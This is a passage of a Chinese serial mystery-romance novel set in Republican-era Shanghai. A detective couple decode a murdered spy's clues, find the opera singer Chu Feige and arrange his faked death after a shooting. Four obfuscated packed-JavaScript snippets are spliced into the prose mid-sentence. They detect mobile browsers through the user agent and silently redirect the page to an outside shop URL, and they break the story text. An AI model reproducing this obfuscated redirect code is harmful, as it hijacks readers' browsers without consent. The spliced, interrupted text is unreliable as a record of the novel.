这时,远处另一艘小船朝他们划来,原来是秦淮河上的歌姬,船上有两人,一人十五六岁,另一人像是二十岁上下,一清丽一妩媚,却画上了不属于自己年龄的浓妆。有小厮朝水影与炎曜招手,问要不要点曲子听,姑娘们音色婉转,保证不会让他们失望。 “还是我夫人决定吧。”炎曜似乎挂上了一抹笑,好整以暇地盯着水影。 水影清了清嗓子,本想说话,又瞟了炎曜一眼,将难题重新丢给了他,就像击鼓传花似的,那眼神似乎在说:自己的事情自己决定,谁是你夫人? 小厮还在巴巴地等他们的回答。 炎曜摇头,说不必了。 小厮脸上写满了失望,讪讪地退后,歌姬们也满是失落,心里空荡荡的。炎曜突然叫住他,从口袋里掏出一些钱给他,说曲子是不必唱了,全当祝他们新年快乐,小厮像不可置信一般收了钱,又挂上笑,连忙说谢谢贵人。 等他们船走远了,水影装作不快地捏住炎曜的耳朵,“刚看到那两女孩儿看你的神情,好像遇到了救世大英雄,炎督查还真是心善,处处留情呢。” 炎曜“哎呀”一声,也配合她的演戏。 “这怎么敢,我心中的人是谁,这还用说吗?” “我就要你说,炎督查的心里装着全上海滩的百姓,哪里顾得上某一人的?”水影捏得更紧了,憋着笑,表情严肃。 “工作是工作,可是我的心里,从始至终,只有你一人而已,衣带渐宽终不悔,为伊消得人憔悴。” 水影没忍住,“噗嗤”一声笑了。 “你笑什么?这是我的心里话。” “那你给了银钱,却不要她们唱曲儿,是什么意思?” “我总觉得,让她们唱曲像是轻贱了她们,可如果我不要,她们赚不到足够的钱一定会受训斥,大过年的,多不好。” “是啊,挺不好。”水影依偎在他身旁,声音突然柔和起来,说:“也许还有另一个原因,这世上还有许多像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095720|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵鸢一样命苦的女孩子,看到了她们,就让你想到了灵鸢,可是灵鸢为了成全我们,牺牲了自己,所以见到像她一样的女孩子,你总是不忍心让她们受苦的,给她们帮助,就好像报答灵鸢的救命恩情一样,曜之,我猜的对吗?” 炎曜将她的手握得更紧了些。 “除了彼此之外,我们还认识了许多人,也和不同的人有不一样的回忆,如果连这种飞醋都要吃,那我不就累死了?” 水影突然想起母亲跟她说过的一句话,但凡找伴侣,财富容貌家世地位都是次要的,首先便是要找一个心地善良的人,如果他心地良善,即使后面情淡了,对你也不会差到哪里去。炎曜年纪轻轻就成了总督查,乍一眼只觉得冷冰冰的,像高岭之花,让人难以亲近,可是真正了解了才发现,他的善良是藏在里面的,轻易不肯示人,却是真实存在的。 炎曜呼吸一滞,亲了亲她的眼角,说:“我对着月亮起誓,以后一定坦诚相待,什么都不瞒你。” …… 而今夜的月光也像那晚一般柔和,身旁站着炎曜,在这月色下,让她没来由的感到温暖。 二人牵着手,只觉得月色也这么好,就算不说话,心里也是甜蜜如斯。 等等…… 月亮。 水影一拍脑袋,“月亮……屏风……如果我记得没错的话,屏风上是不是有一弯月亮?” 炎曜问:“你是不是想到了什么?” “你还记得清子的信吗?那首白头吟里描绘的场景,和公馆的屏风上是不是很相似?” 《白头吟》里有山上雪,云间月,屏风也有,同样的,诗里提到的酒,河流,鱼竿,在屏风上都有体现,公馆佣人说清子喜欢刺绣,这屏风就是她留给我们的密码。 “‘月’字被圈了两次,也许是着重,也许是别的什么意思。” “清子生前和我见过的最后一面曾说,她最喜欢月光了,似乎能荡涤所有尘埃,月光洒下的地方,就是最干净的所在,屏风的月亮下面有一个亭子,当时还没细想,现在觉得亭子的牌匾似乎绣得有些厚,难道藏了什么秘密?” 顺着这条线索查,果然发现了端倪。 牌匾用了双面绣法,里面藏着一块拇指长的小布,布上绣着“得意楼”三个字。 “得意楼”在上海滩无人不晓,全名“春风得意楼”,在城隍庙内,与湖心亭茶楼迎面相望。这一块都是上海滩的文化娱乐中心,人说的“莺歌燕舞常三五,一城烟花半东南”说的就是此处。 “得意楼”可是个不得了的所在,座位有上千个,不光有说书人,评弹艺人,戏曲会,烟花女子,还能登楼赏景,豫园风光,尽收眼底,时人留下了诗句:“春风得意说书楼,弦索铮铮意悠悠。茶叙清晨更热闹,喧哗不绝笑声留。” 很明显,清子将线索指向了得意楼,要破解这封古怪的来信,终于找到了突破口。 107. 春风得意楼 第二日,炎曜便和詹姆斯带人来到了春风得意楼。 得意楼创建于光绪年间,平日里热闹非常,而今日因为巡捕查案,封锁了整座楼,显得有些不寻常的冷清。 掌柜见炎曜来了,连忙出来迎接,他作了个揖,热络地说:“炎督查到来,有失远迎啊!只是不知,有什么事,要动如此大的阵仗?” “有一起案子,线索指向了此处,不过你不用担心,不会封锁太久。” 掌柜悬着的心这才放下,说:“警务处查案,我们自然会好好配合的,诸位请随我上楼,就由我介绍一下每一层吧。” 第一层是喝茶谈生意的地方,平日里各行各业的商人和掮客汇聚于此,宣传产品,进行交易,过年时还推出了“元宝茶”,寓意是招财进宝,讨一个好兆头,第二层则有象棋专座,上海滩的象棋高手皆汇聚于此,或切磋高下,或表演献艺,好不热闹,第三层则是鸟市茶座,百鸟争鸣,过年期间还举办了百鸟会,众人都可以带着自己的爱鸟过来竞技比美,一决高下。 而顶层则开辟了戏曲包厢,请了许多伶人过来献艺,窗边还摆了一面架子,上面是密密麻麻的戏曲谜语,用朱红字牌挂着,喜气洋洋。 詹姆斯带队进楼搜索,炎曜询问伙计有没有见到一个穿和服的日本女子曾经来过。 伙计们你看看我,我看看你,都是摇头。穿和服的女子本就不多,经常来的那几个也是富贵人家的小姐,却没听说有一位姓“早田”的。 水影拿出早田清子的照片给他们辨认,其中一个伙计一拍脑袋,似是十分震惊地说:“这不是陆菁儿姑娘吗?” 陆菁儿…… 水影第一次听到这个名字,“你再仔细瞧瞧,会不会只是长得像而已?” 伙计摇摇头:“我记性一向很好,平日里迎来送往的,早就练就了一双火眼金睛,一定不会认错。”他顿了顿,又说:“怎么……她居然是日本人吗?” 水影没有正面回答他的话,只是要他回忆一下陆菁儿平时在得意楼都做什么。 伙计很健谈,不由得打开了话匣子。说菁儿话不多,平日里只是穿一件淡绿色的旗袍,脸上不施粉黛,扎一个麻花辫,就像上海滩随处可见的女孩一般,和照片上很不同。 她来得很少,一般是初一或者十五,点一杯清茶,在顶楼一坐就是一下午,可是她总喜欢坐在角落,所以注意到她的人很少。他和她唯一一次打交道,是给她上茶时不小心将茶水泼了,弄湿了她的旗袍,而菁儿也只是淡淡地说没关系,并没有为难他。 也就是说,她很喜欢听戏,平常也只坐在顶楼。 炎曜便要他们着重搜查顶楼,看是否有发现。 水影这时也来到了顶楼,在伙计的带领下来到了清子最喜欢坐的位置。 那是一处靠窗的位子,角落里,很不起眼,水影望向窗外,整个城隍庙映入眼帘,只见熙熙攘攘的人群,车水马龙的街市,叫卖的商贩,还有波光粼粼的湖水……实在是让人心旷神怡,好似能忘却所有烦恼。 茶博士端上一杯元宝茶,盖上放着两个青橄榄,要水影咬一口,再和茶叶一起在盖碗里冲泡,果然唇齿留香。 阳光落在她的身上,清风拂面,水影不知怎的觉得眼皮很沉,托着腮,竟睡着了。 炎曜知道她这几天辛苦,恐怕昨晚回了宅子还是在想案子,熬到很晚才睡,便脱下披风,轻轻地搭在了水影的身上。 水影就这样沉沉地睡去,竟做了一个梦。 梦里,水影又见到了早田清子。 不,准确来说,是两个她。 一个穿着和服,面涂厚重的白粉,像浮世绘里的日本女子,另一个却是穿着旗袍的上海滩姑娘。 “你到底是谁?是早田清子还是陆菁儿?”水影问。 这二人也对视了一眼,问对方:“你到底是谁?” 刹那间,光影变换,两名女子合二为一,水影还想发问,只是眼前一黑,什么都看不见了,女子最后说:“记住我寄给你的信,它会告诉你所有的答案。” 水影突然惊醒,炎曜见她神色有异,问她怎么了。 水影拍拍自己的脸颊,梦里的场景太真实了,让她一时间有些失神,好一会儿,才跟炎曜说明了原委。 炎曜要水影再次拿出那封信,目光却落在了打圈的两个字上。 “月”字画了两个圈,“心”字画了一个圈。 巡捕们已经搜寻了许久,并没有和这两个字有关的东西,其他地方也没有异样。 “会不会与字无关……是坐标?”炎曜突然说。 可是,是哪里的坐标呢? 水影觉得他说得有道理,便环顾四周,那面谜语墙落入眼中。 水影眼睛蓦地睁大,拍了拍炎曜的手臂,“你觉不觉得这谜语墙有些熟悉?” 她补充了一句,“我说的是排列。” 《白头吟》八行两列,共八十个字,如果将它看成一个坐标轴,便是八乘十的坐标轴,与谜语墙的排列一模一样,墙上的谜语也正好是八十条! “月”字在(一,十)的位置,“心”在(六,四)的位置。 分别对应两条谜语。 第一条是“东海缺少白玉床”,第二条是“半春半秋,半秋半春,两个相加,连成一片”,皆是打一剧目。 由于对戏曲不熟悉,炎曜便叫来了掌柜的,因为与案子有关,掌柜很爽快地告诉了他们答案。 第一条谜底是《龙宫借宝》,讲的是孙悟空去龙宫寻宝,取得如意金箍棒的故事。 第二条谜底是《秦香莲》,也称《铡美案》,便是耳熟能详的负心男陈世美抛弃糟糠之妻成为驸马,最后被包青天正法的故事。 炎曜问:“这两个剧目最近都在得意楼上演吗?” 掌柜笼着手,说:“《龙宫借宝》已经很久没有演过了,最近在演的是《秦香莲》,虽然是个老故事了,看的人却很多,由当红伶人楚飞歌反串秦香莲,他可是个美男子,脾气却很古怪,得意楼花了大价钱才请他过来表演,平日里他可是每月才演两场的,挑剔得很呢。” 炎曜与水影对视一眼,原来得意楼指向的不是什么东西,而是……一个人。 “那他现在在哪里?” 掌柜目光一凛:“八方戏楼!他就住在那里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100220|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时,在无人在意的角落,一个警员悄悄下了楼,从后门偷偷溜走,他脱下警服,隐入了人群之中,往八方戏楼的方向快步而去。 …… 八方戏楼坐落在城东,因为过年,许多富贵人家都请了戏班子去自家唱戏,作为戏楼的当红名伶,楚飞歌自然受到了许多邀约,可是他一个都没有答应,只去得意楼还有自家戏台演出,其余的私活一律不接。 这自然得罪了许多权贵,可是楚飞歌是个孤儿,无父无母,平日里放浪形骸,又不惜命,权贵们也拿他没办法。 曾有人恐吓他:如果你不来唱戏,就砸了你的戏班子。 楚飞歌却半眯着眼睛,冷冷道:“这不是我的戏班,你如果砸了,顶多老板有损失,与我何干?” ——可是老板不是你师傅吗?他看着你长大的,你就这么狠心? ——我给他赚的钱早就比他抚养我所花要多得多了,所以,我不欠他什么。 ——你就不怕我们毁了你的嗓子,让你再也唱不了戏? ——如此甚好,你最好拿了我这条命,反正人都是要死的,多活几年少活几年又有什么关系? 权贵们只好作罢,这人就是个怪胎,无所牵挂,又不怕死,这就相当于没有软肋了,再怎么要挟也要挟不了一个没软肋的人。 今日,楚飞歌没有去得意楼,而是在自家戏楼唱完了一场,便去后台卸妆了。 他懒洋洋地打了个哈欠,只觉得做什么都提不起兴趣,后台被鲜花堆满了,楚飞歌嫌恶地瞟了一眼,打了个喷嚏,要伙计将这些花都扔掉,占位置。 伙计不敢惹他,只好照做。 心里却说:“你要是哪天死了,就是自己作死的。” 这时,有人送过来一封信,楚飞歌本以为是戏迷送的,没什么兴趣,不耐烦地打开后,却突然站起来,对伙计说,自己有事要出去一趟,不必等他吃饭了。 …… 水影与炎曜来到戏台已经是傍晚,今天的戏曲已经结束,大家都陆陆续续地离场了。 问老板楚飞歌在哪里,老板只是说楚飞歌收到一封信就出去了,那信就放在后台。 伙计送来了信,水影眼睛一瞪,信上居然写着那首白头吟,只是不是清子的那封,而是另外人所写的,关键字上也没有画圈,更没有0的标记。 下面还有一行字:今晚八点,得意楼后门相约。 心里顿时升起不详的预感,他们就是从得意楼过来的,哪里看到了楚飞歌的身影呢? 只好又赶回得意楼,掌柜伙计都说没看到楚飞歌,难道是楚飞歌在来的路上就被带走了…… 可恶! 居然有人抢先一步约走了他,还在他们眼皮子底下绑架了他? 楚飞歌八成落入了暗夜组织的手中,消息居然传递得这么快,警务处一定已经存在了暗夜组织的卧底。 詹姆斯一拍脑袋,“怪不得刚才离开时少了一名警员,他还和同队的人说肚子疼,要去拉肚子,结果人都要没了,肯定是他走漏了消息!F**K!” 现在当务之急就是找到楚飞歌,只有找到他,才能解开最后的秘密。 108. 解救人质 楚飞歌在一片黑暗中醒来,只觉得脑袋很晕,低头一看,才发现自己竟被绑在凳子上,动弹不得。 大意了! 去往得意楼时,会经过一片芦苇地,往常都还好,今天却觉得那里安静得可怕。 不知怎的,芦苇丛传来窸窸窣窣的声音,楚飞歌因为着急赴约,也没在意,直到身后传来脚步声,他站定,还没等他转过头去,口鼻就被人捂住,中了迷药,再度醒来,就在这个地方了。 黑暗中,只见前面坐着一个人,黑衣黑袍,戴着一个面具。 那是一个很可怕的面具,虎面獠牙,就像地狱的恶鬼爬到人间,只露出一双眼睛。那双眼睛没有一丝感情,只是平静无波地望着楚飞歌,却让他感到没来由的战栗。 似乎闻到了死亡的气息。 对,死亡正朝他逼近。 “你是谁?”楚飞歌正襟危坐,问。 “尊者的名讳也是你能知道的?” 楚飞歌这才发现,那人的侧面还站了几个人,仿佛魑魅魍魉一般。 打头的那人面容普通,放在人群里也认不出,偏偏瘦的像个猴子,脸上又挂着谄媚的笑,让楚飞歌越看越不爽。 瘦猴子恭敬地对黑袍人道:“尊者真是神机妙算,派我潜伏到警务处成为暗桩,小人终于派上了用场,不负您的所托!” 黑袍人没理他,而是对楚飞歌道:“说吧,清子留下的东西到底是什么?” 声音浑厚,不怒自威。 楚飞歌抬起下巴:“谁是清子,我不认识什么清子。” “早田清子,亦或是你认识的,陆菁儿。” 听到这个名字,楚飞歌目光一动,随机恢复了散漫的神情:“我的戏迷那么多,喜欢我的姑娘也不计其数,我倒认识什么张菁儿王菁儿,偏偏没有陆菁儿……” “大胆!”黑袍人一字一句道:“你如果痛快地说了,我兴许会饶你一命……” “可我若是不说呢?”楚飞歌轻蔑一笑。 “你敢?”瘦猴子抓起楚飞歌的衣领,就赏了他几巴掌。 楚飞歌舌头抵住腮帮子,蔑视道:“你就这么点本事吗?” 瘦猴子被激怒了,黑袍人却突然拿出一把手枪,指向了楚飞歌。 “你说,还是不说?” 楚飞歌一愣,若是别人被枪抵着可能会怕死,可他不一样,死对他来说倒是个解脱。 他突然肩膀轻轻抖动,继而哈哈大笑了起来,黑袍人只是直直地立在他身边,影子完全盖住了楚飞歌。 他止了笑:“来啊,有本事就杀了我!” 黑袍人突然嗤笑一声。 一声枪响在黑暗中响起。 却没有意料之中的疼痛,楚飞歌只感到滚烫的鲜血蹦到了他的脸上。 瘦猴子难以置信地望着黑袍人,缓缓倒下,鲜血从他的额头汩汩流出,染红了一片。 黑袍人只是起身,嫌恶地说:“已经没用的人,怎么还这么吵?是时候闭嘴了。” 他一脚踹向了他的尸体,不让他挡着自己的路。 楚飞歌死死地盯着他,只觉得站在自己面前的是一个恶鬼。 那人冷声道:“你口口声声说自己不怕死,可是我刚才开枪时,你为什么要闭着眼睛?我明明感到了你的恐惧!呵,恐惧,多么可爱的词,人正是因为恐惧,才会强迫自己做一些不愿意的事情,别人说,这叫本能。你一直在欺骗自己,也在欺骗别人,你说你不怕死,可是,看你刚才的反应,你分明是怕的。” “我最后再问你一次,说,还是不说?” 那人用温热的枪口抵住他的脑袋,冷冷地问。 *** 水影突然右眼皮一跳,一股不详的预感弥漫心头。 如今楚飞歌活不见人,死不见尸,一点音讯都没有。 詹姆斯懊恼不已,“要是我早发现那叛徒的不对劲就好了,因为他的出卖,我们才损失了唯一的线索!” 杰克也很气愤,骂道:“该死的叛徒!” 炎曜却站在窗边,突然转过身来,水影见他神情有异,忙问:“你是想到了什么吗?” “事出突然,那人也是临时决定暴露身份的,所以一定留下了一些蛛丝马迹。我们现在去他警队的宿舍,说不定会有所发现。” 众人像是在黑夜中突然看到了火光,便快速来到了那人的宿舍。 和众多巡捕一样,那人的木床被叠得整整齐齐,听他的同僚说,那人叫徐平贵,平时为人圆滑,贼精贼精的,大多数时间都待在巡捕房,家里也没什么亲人,平时最大的爱好就是去旁边的摊子喝酒,除此之外,再无其他。 炎曜沉默了许久,突然说:“我好像闻到了一种香味。” 水影也仔细闻了一下,果然有一种奇异的香味,好像是某种胭脂水粉,从衣柜里拿出徐平贵的衬衣,也闻到了这种味道。 城中有一条胭脂巷,正好在得意楼与八方戏楼的中间,那条巷子弯弯曲曲,妇人小姐们特别喜欢在那里买化妆品,可是徐平贵一个大男人,家里又没有妻子妹妹,怎么会沾染上这种味道?唯一的可能便是,他去与暗夜组织接头的时候无意中打翻了胭脂,才留下这种味道。 如此说来,暗夜组织在胭脂巷一定有据点,楚飞歌很有可能便在那里。 炎曜亲自带队去了胭脂巷,为了不打草惊蛇,警察们身着便衣,潜伏到了巷子里。经过打听,就数街角的凤来胭脂店最为古怪,里面的胭脂颜色单一,十分艳俗,主人是一个胖胖的老头,神情严肃,客人来了也不给个好脸色,这就让本来不好的生意更加雪上加霜了。 因为生意实在太差,没几个人光顾,旁边的店铺完全没有把它当做竞争对手,甚至都以为它马上就要倒闭了,可是几年过去了,虽没什么生意,那间店铺却神奇地屹立在那里,并没有倒,好像主人家并不在乎赚不赚钱似的。在早田清子被杀后,这家胭脂店直接关门谢客了,没说什么原因,到现在仍是大门紧闭。 事出反常必有妖。 炎曜派人埋伏在周围,手中持枪,破门而入。 里面很多灰尘,好像很久没人打扫了,只有角落的关公像一尘不染,好像被经常擦拭一般,关公像前的香炉早已没了燃香,直觉告诉他,这关公像有机关,他便试着转动一下,只听见“哐当”一声,好像桌子下有小门开了。 他弯腰而入,进入了密室,打开手电筒,赫然见到了倒在血泊中的楚飞歌和徐平贵。 徐平贵已经气绝身亡,楚飞歌的左胸也被开了一枪,正中心脏的位置,密室通向后街,在警队的包围圈外,差一点,就差一点就能捉住他们,可是,竟让他们给跑了。 炎曜没来由的有些沮丧,好不容易找到的线索,竟又断了吗? 总是这样,在他以为能控制局面的时候,事情却又往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116504|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失控的方向越来越远。 如今,楚飞歌是他们唯一的线索了,如果楚飞歌都死了,陆菁儿的秘密,难道从此就要长眠于地下了吗…… 炎曜深吸一口气,转头又望向楚飞歌,屋檐有滴水的声音,在暗室中十分清晰。 一滴…… 两滴…… 三滴…… 突然。 看见他的手指动了一下,在黑暗中,虽然幅度小,却是真实存在的。 炎曜的眼神立刻亮了起来。 警员们进入暗室,将楚飞歌抬了出去,炎曜嘱咐他们,要不惜一切代价救活楚飞歌! *** 楚飞歌被送到医院抢救,大家都觉得,是他们的希望在被抢救。 医院外围满了楚飞歌的戏迷,有些姑娘甚至低声哭泣,都在祈祷上天,留住自己偶像的性命,不要这么残忍,让人世间失去那般美妙的声音。 记者们更是蜂拥而至,楚飞歌遇袭,与水影退圈是一样轰动的新闻。上海滩不缺传奇,更不缺机会,也许往日的平凡之人,可以一夜成为传奇,这不是什么新鲜事。可是传奇的陨落却更抓人眼球,一个已经登到了高处的人,一夕之间掉了下来,甚至失去了性命,才是大新闻。 一天一夜后,医院的大门开了,所有人都蜂拥而至,他们屏住呼吸,等待医生的判决。 医生眉头紧锁,沉痛地对所有人宣布:“很遗憾,抢救失败,楚飞歌先生已经停止了呼吸。” …… 这个消息让无数的戏迷心碎,甚至有戏迷为了陪伴偶像而去上吊自杀,还好被救回来了,才没酿成更大的祸事。 白布盖在了尸体的上面,被装入了殡仪车。 那天阴云密布,上海滩下了好大一场雨。 这场雨,也预示着一个传奇的结束。 …… 雨连着下了三天三夜,电闪雷鸣,好不容易才停了下来。 三日后。 上海滩远郊却是一派祥和的景象,湖边小木屋里火炉燃烧,男人脸色苍白,躺在床上,看着窗外的阳光撒下,只觉得内心一片清明。 木门被敲了三下,保姆帮他开门,高大俊朗的男子和摩登女郎进入了木屋,正是炎曜和水影。 楚飞歌坐起身来,“来都来了,怎么这么客气,还带水果和鲜花?” 水影将鲜花插在花瓶里,微笑道:“再怎么说你也是病人,看望病人当然要准备这些了。” 原来,楚飞歌很幸运,他的心脏偏了几厘米,所以子弹并没有射到心脏,只是失血过多,人还是很虚弱。手术成功后,楚飞歌央求炎曜助自己假死,他不想再当唱戏的楚飞歌,而是想尝试一些新的生活。 巧合的是,炎曜也觉得这是个不错的想法,暗夜组织一定时刻盯着楚飞歌的消息,若是知道他被救活了,难保不会第二次刺杀,这会让楚飞歌再次陷入危险之中,如果真是这样,就不知道有没有这次这般好运了。 楚飞歌一直以为自己是不怕死的,讽刺的是,那次过后,他居然觉得黑袍人说的有道理,如果他就这么死了,到底是心不甘情不愿的。 “我已经是死过一次的人了,等我好了,我想去外面的世界看看,能不能找到另一种可能。”楚飞歌如是说。 “那么陆菁儿呢,与你是什么关系?” 楚飞歌的目光望向远方,开始讲述那个女郎的故事…… 109. 自由诚可贵 陆菁儿便是早田清子,其实,她的中国话说得很好,甚至上海话都是精通,只是为了不让人发现身份,才装作别别扭扭地说话。成为孤儿后,她被早田信收养,带回日本,本以为重获新生,可是在早田信眼中,她不过是一个棋子。 早田信想把她培养成一个间谍,一个默不作声帮他做大事的间谍。 回到上海后,陆菁儿便在早田信的授意下频繁参加名流聚会,认识了周润卿,开始了一系列的计划,只是她的心里苦闷——一个人之所以为人,就是因为有自由的选择权。 报纸上文章不是写过吗?“生命诚可贵,爱情价更高。若为自由故,二者皆可抛。”多么剔透的句子! 可是,她的身体不是自己的,连思想也要受人控制,明明身在十里洋场,却一刻也不得自由。有一天,陆菁儿独自去得意楼散心,悦耳的戏曲声让她不由自主地往顶楼走去,在那里,她第一次见到了楚飞歌。 那日的楚飞歌和往常一样在台上唱戏,却见到窗边的一个绿衣姑娘,那姑娘很冷艳,在人群中煞是显眼,像冬日里房檐上挂着的冰花,可望而不可及。可美貌的姑娘何其多?这样的姑娘在上海滩一抓一大把,没什么特别的。 让楚飞歌感到奇特的是,听到他的戏,她居然哭了。 这是第一次有人为他的戏曲流泪,着实让楚飞歌吃了一惊。 她在台下静静地望着他,整个目光都被他吸引,眼神里好像点燃了一团隐秘的火焰,她的眼睛逐渐湿润起来,面色仍是很平静,像是竭力想压抑什么似的,最后到底还是压抑不住,泪水滑落了下来,落到了裙子上。 可是她太过平静了,连哭都是那么平静,连肩膀都没有动,除了台上的楚飞歌,没有一个人发现她哭了。 从小身在梨园,楚飞歌见惯了太多的世事残酷,也许在达官贵人眼中,听戏只是一个消遣罢了。却从没有想过,他的戏,能让一个灵魂流泪。 后来,陆菁儿每逢初一十五就会来听戏,这是属于她自己的时间,谁都夺不走,二人就这样熟识起来,楚飞歌觉得,陆菁儿是懂戏的。 他唱的《秦香莲》,明明是那样一个耳熟能详的故事,陆菁儿却能说出新意,她说,天道不公,秦香莲只是一个可怜的女人罢了,被命运的洪流推着走,可是和其他女人不同,秦香莲有一股勇气,这勇气让她最后沉冤得雪,找到了属于自己的公道。同时,陆菁儿还提出了一些建议,包括哪里轻音,哪里重音,哪里该放缓,都分析的头头是道。 她就这样爱上了戏曲,和楚飞歌成了无话不谈的好友,楚飞歌喜欢和她坐在得意楼的湖边吹着风,谈天说地,二人好像有说不完的话。可是每次分别时,陆菁儿眼中却写满了惆怅,她总说,一到晚上,她就要去做自己不愿意做的事情了,楚飞歌也没有多问,毕竟,这个世界上谁人没有秘密? 他们的关系就停留在这里,没有更近一步,不是不能,而是二人很有默契地止步于此,觉得再走近一步,对两个人都不好,还不如坦坦荡荡地当朋友来得舒心。 听菁儿说她和养父早田信总是有争执,养父在为一个神秘人做事,那个人很有权势,是个足以只手遮天的大人物,可菁儿不想再错下去了,她必须像秦香莲一样,鼓起勇气做点什么,而不是坐以待毙。 最后,楚飞歌给了炎曜与水影一把折扇,这是陆菁儿的遗物,折扇有一副景观图,在空白处写下一个0,下面画了一个小三角。 这就是陆菁儿留给这个世界最后的讯号。 楚飞歌说,在过年之前,陆菁儿曾经单独来找过他,神色有些异样,她嘱咐自己一定要保管好这折扇,有人会循着线索过来找他,如果能将消息传递出去,就算是死也没有遗憾了。 楚飞歌升起不好的预感,陆菁儿在走之前,却留给了他一个微笑,安慰他说:“我只希望不要做让自己后悔的事情,自由对我来说从来就是奢侈品,也许要付出难以承受的代价,可是我不怕,因为我早已做好了准备。” 她的身影有些沉重,转过身去,往门口迈步而去。 “过年的时候,我会在得意楼唱新戏了,你会过来听吗?”楚飞歌突然鬼使神差地说出这句话,不知怎的,他总觉得这一面,仿佛有着什么特殊的含义,所以想和她多说一些话,哪怕只是闲聊的几句也无所谓。 陆菁儿停下脚步,微微转身,留给他一个柔和的侧脸。 “一定会的。”她的唇角勾起一丝笑。 “好,我等你。”楚飞歌点头,好似郑重地许下一个承诺。 他很少对人这样说话,很多时候都是不耐烦的,漫不经心的,恨不得自己一个人呆着,可是对于陆菁儿,却没来由的有耐心,也不知为什么。 谁知,那一面竟是诀别。 除夕夜后,就听到了她的死讯,说实话,他完全接受不了,还以为自己在做梦,那一日,他的心情糟糕到了极点,浑浑噩噩地在街上走着,不知怎的就来到了早田公馆,那里围满了人,他也走了过去,像脚下不听使唤似的,隐在了人群中。 一个女子被抬了出来,蒙着白布,手上戴着一个镯子,楚飞歌一眼就认出了那镯子,那是他送给她的生日礼物。 陆菁儿曾说,自从亲生母亲死后,自己就再也没有过过生日了,那一日,楚飞歌便买到了这个镯子,交到了她的手中,陆菁儿的眼眶有些红,说:“我就算死也不会摘下来。” “什么死不死的,过生日,说这些话不吉利。” 陆菁儿摇摇头,“我是不在乎这些的,只是,我真的很欢喜,谢谢你,等你过生日了,我也送你一个礼物。” “什么礼物?” “先欠着,我还没想好,你到时候就知道了。” 承诺犹在耳,却再也实现不了了。 其实那日,楚飞歌远远地就看见水影与炎曜从早田公馆出来,可是陆菁儿的话却印在脑子里——你要做的只是等待,仅此而已, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138804|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要去找任何人,如果一切顺利的话,会有人来联系你的。 她直到死,都想将他的风险降到最低,谁叫他是她最好的朋友…… …… 回忆到此为止,楚飞歌又坐起身来,每次想到她的事情,心里就像被堵住一般,他喝了一口茶,对水影和炎曜说:“就这样吧,一切都会过去的,以后,这个世界上就没有楚飞歌了,请你们帮我保守这个秘密,就让这个名字永远留在过去吧。” 水影颔首,陆菁儿口中的神秘人就是那伽王吧。 也许,她已经发现了他的真实身份。 *** 傍晚时分,水影和炎曜回到了城中,詹姆斯早已等候在警务处,谁知,却告知了他们一个让人震惊的消息。 ——早田信的尸体,被发现了。 他的尸体在一片荒地中,胸口插着一把武士刀,仰倒在地上,眼睛仍是瞪得大大的,仿佛到死还是难以置信。 经过验尸,死者死亡时间在三日前,正是他们端掉胭脂巷窝点的时候。 早田信手中还紧紧握着回日本的船票,也许血魔准备撤退时,觉得早田信留着始终是个祸患,便约他出来,假借给他船票撤离,实际却一不做二不休,干掉了他。 对于陆菁儿来说,早田信并不是亲生父亲,而是她的养父,可在早田信的眼中,陆菁儿却只是一个棋子,着实让人唏嘘。 既然早田信和暗夜组织有合作,顺着这条线索,也许能调出暗夜组织的老大,可是早田信名下的账户多如牛毛,可能为了掩人耳目,这些账户并没有什么关联,要找到背后的金主还需要一段时间。 水影和炎曜决定兵分两路,炎曜继续调查交易账户的事情,水影则研究陆菁儿留下的线索,解决扇子背后的谜题。 在调查过程中,皖城传来了消息,李寻山病重,如今皖军指挥权落入了李皖手中,他已经上了战场,正和另一军阀争地盘。 对于李皖,水影是矛盾的,一方面二人有旧,水影希望他能赢,最起码留住性命,可另一方面,如果他赢了,恐怕要图谋更南方的地盘,到时候上海滩也许都会卷入战场,这是谁都不希望见到的局面。 听天由命吧,水影心想。 